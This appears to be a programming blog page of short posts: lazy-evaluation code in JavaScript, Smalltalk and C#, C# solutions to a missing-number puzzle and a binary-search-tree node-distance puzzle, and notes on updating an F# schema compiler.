A sample code is shown below:

//*********begin lazy  implementation************"
function lazy(funToRun)
 {
     var myRun = function() {
         var res = funToRun();
         myRun = function() { return res; }
         return res;
     };
     return function() { return myRun(); }
 }
//*******end lazy implementation *************

//testing

function lazyCalc ()
 { var sum = 0;
   for (var i=1; i<1000000000; i++)
     {sum += i;}
   return sum;
}

var lazyVar = lazy(lazyCalc);

//1st time when we need the value, it will calculate it
var result = lazyVar();

//all following times, it will use already calculated value
//but a call is completely the same, we don't need to know
//whether it has been already calculated or not.
result = lazyVar();

A sample code to show how to use it follows:

|lazy toRun temp result|

"*********begin lazy  implementation************"
lazy := [ :myFun| |myRun|
                   myRun := [ |res| res := myFun value.
                                           myRun := [res]. res].
                  [myRun value]].
"*******end lazy implementation *************

toRun := [ |sum| sum := 0. 1 to: 2 do:[:i| sum := sum + 1]. sum].

temp := lazy value: toRun.

result := temp value .

result := temp value .

The sample code goes here:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace lazy
{
   public class LazyEval<T>
       {
          private Func<T> myFun;

          public LazyEval(Func<T> func)
            {
               myFun = () =>
                                     { T res = func();
                                         myFun = () => { return res; };
                                         return res;};
            }

         public T Value  { get { return myFun(); } }
      }

class Program
{
       static void Main(string[] args)
            {        //testing ...........
                var myLazy = new LazyEval<Int64>(myFunc);
                var myRes = myLazy.Value;
                myRes = myLazy.Value;
             }

         static Int64 myFunc()
            {  Int64 sum = 0;
                foreach (var i in Enumerable.Range(1, 1000000000))
                 { sum += i; }
                return sum;
             }
      }
}

Requirement: There is an array of integers  from 1 to n.    1 and only 1 number is missing. It means an array of numbers from 1 to n has size of  n - 1 because one number is missing for sure.

Please, send a code which will find the missing number and make yourself  famous.  Please, send code in C# or F#.

My solution is:

//code starts here 

using System;
using System.Collections.Generic;using System.Linq;
using System.Text;

namespace FindMissingStuff
{
  class Program
   {
     //example

     static void Main()
       {

         var mNumber = missingNumber(new [] {1,2,3,4,5,7,8,9});

        }

  //implementation to find the missing number

  static int missingNumber(IEnumerable<int> list)
  { 
   var k = new List<int>(list);
   k.Sort();
   return k.Last() != k.Count() + 1 ? k.Count() + 1 :  k.Where((elem, index) => (index + 1) != elem).First() - 1;
  }
 }
}

If you are tired of  “monkey coding”, try to solve some interesting problems.

Requirement: There is a Binary search tree , write a program, which will calculate distance from one node to another. For example, on the picture below, the distance from 25 to 76 is 5.

I have come up with a code, please, try to write a better one and be famous The code marked in red is the code doing the requested stuff. The rest is a code necessary to test it

//code starts here the code in red is the requested solution
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace BSTree
{
class Program
{
static void Main(string[] args)
{
var head = new BTreeNode<int>(20);
int[] myArray = new int[] { 12, 26, 32, 2, 23, 46, 76, 28, 25 };
foreach (var item in myArray)
{
head.add(item);
}

//test
var nodeDistance = distance(head, 25, 76); //should be 5
nodeDistance = distance(head, 26, 76); //should be 3
nodeDistance = distance(head, 46, 46); //should be 3
}

static int distance(BTreeNode<int> node, int start, int end)
{
int first = Math.Min(start, end);
int second = Math.Max(start, end);
BTreeNode<int> myHead = node;
int result = 0;
if ((first <= node.value) && (node.value <= second))
result = directDistance(node, first) + directDistance(node, second);
else if ((first < node.value) && (second < node.value))
result = distance(node.left, first, second);
else if ((first > node.value) && (second > node.value))
result = distance(node.right, first, second);
return result;
}

static int directDistance(BTreeNode<int> node,  int end)
{
int result = 0;
if (node.value > end)
result = 1 + directDistance(node.left, end);
else if (node.value < end)
result = 1 + directDistance(node.right, end);
return result;
}

}

public class BTreeNode<T> where T:IComparable
{

public T value;
public BTreeNode<T> left;
public BTreeNode<T> right;

public BTreeNode(T telem)
{
value = telem;
}

public void add(T element)
{
if (element.CompareTo(value) < 0)
addPrim(element, ref left);
else
addPrim(element, ref right);
}

//this is implemented for maintenance reason
private void addPrim(T elem, ref BTreeNode<T> leftRight)
{

if (leftRight == null)
leftRight = new BTreeNode<T>(elem);
else
leftRight.add(elem);
}
}
}

Please, send your code, try to come up with a better code. I would like to see a code in C# as well as in F#

I made some changes in the code (which was an excellent opportunity to get more intimate with the current version F#) and my corrections are here:

added:    open Microsoft.FSharp.Compatibility

changed:

1)

//old
//    let fields =
//        match Type.getGetInfo(schemaType) with
//        |  RecordType(fields) ->  fields
//        | _ ->  failwithf “this schema compiler expects a record type”

//new
let fields =
match schemaType with
| a when  FSharpType.IsRecord(a) -> FSharpType.GetRecordFields(a)
| _ ->  failwithf “this schema compiler expects a record type”

2)

//old
//        fields |> List.mapi (fun fldIdx (fieldName,fieldType) ->
//            let fieldInfo = schemaType.GetProperty(fieldName)

//new
fields |> Array.mapi (fun fldIdx fieldInfo ->
let fieldType = fieldInfo.PropertyType
let fieldName = fieldInfo.Name
//end new

3)  — removed

// |> List.to_array  –> this line has been removed

4)

//old
//Permutation(schema.Length,
//new
Permutation.of_pairs(
//end new

5)

//old
//let objectBuilder =          Reflection.Value.GetRecordConstructor(schemaType)
//new
let objectBuilder = Reflection.FSharpValue.PreComputeRecordConstructor(schemaType)
//end new

That’s it

After reading a very good article on F# nomads, it hit me, that it is actually pretty simple to implement this feature in F#…  On more reason why to implement Ironglue on top of F#

The location is:  http://ironglue.codeplex.com

So, don’t be surprised, if you’ll find here articles talking about F#, ANTLR, Smalltalk  , corporate “culture”  and current economic situation on the same page….
Do I here “Butterfly effect“?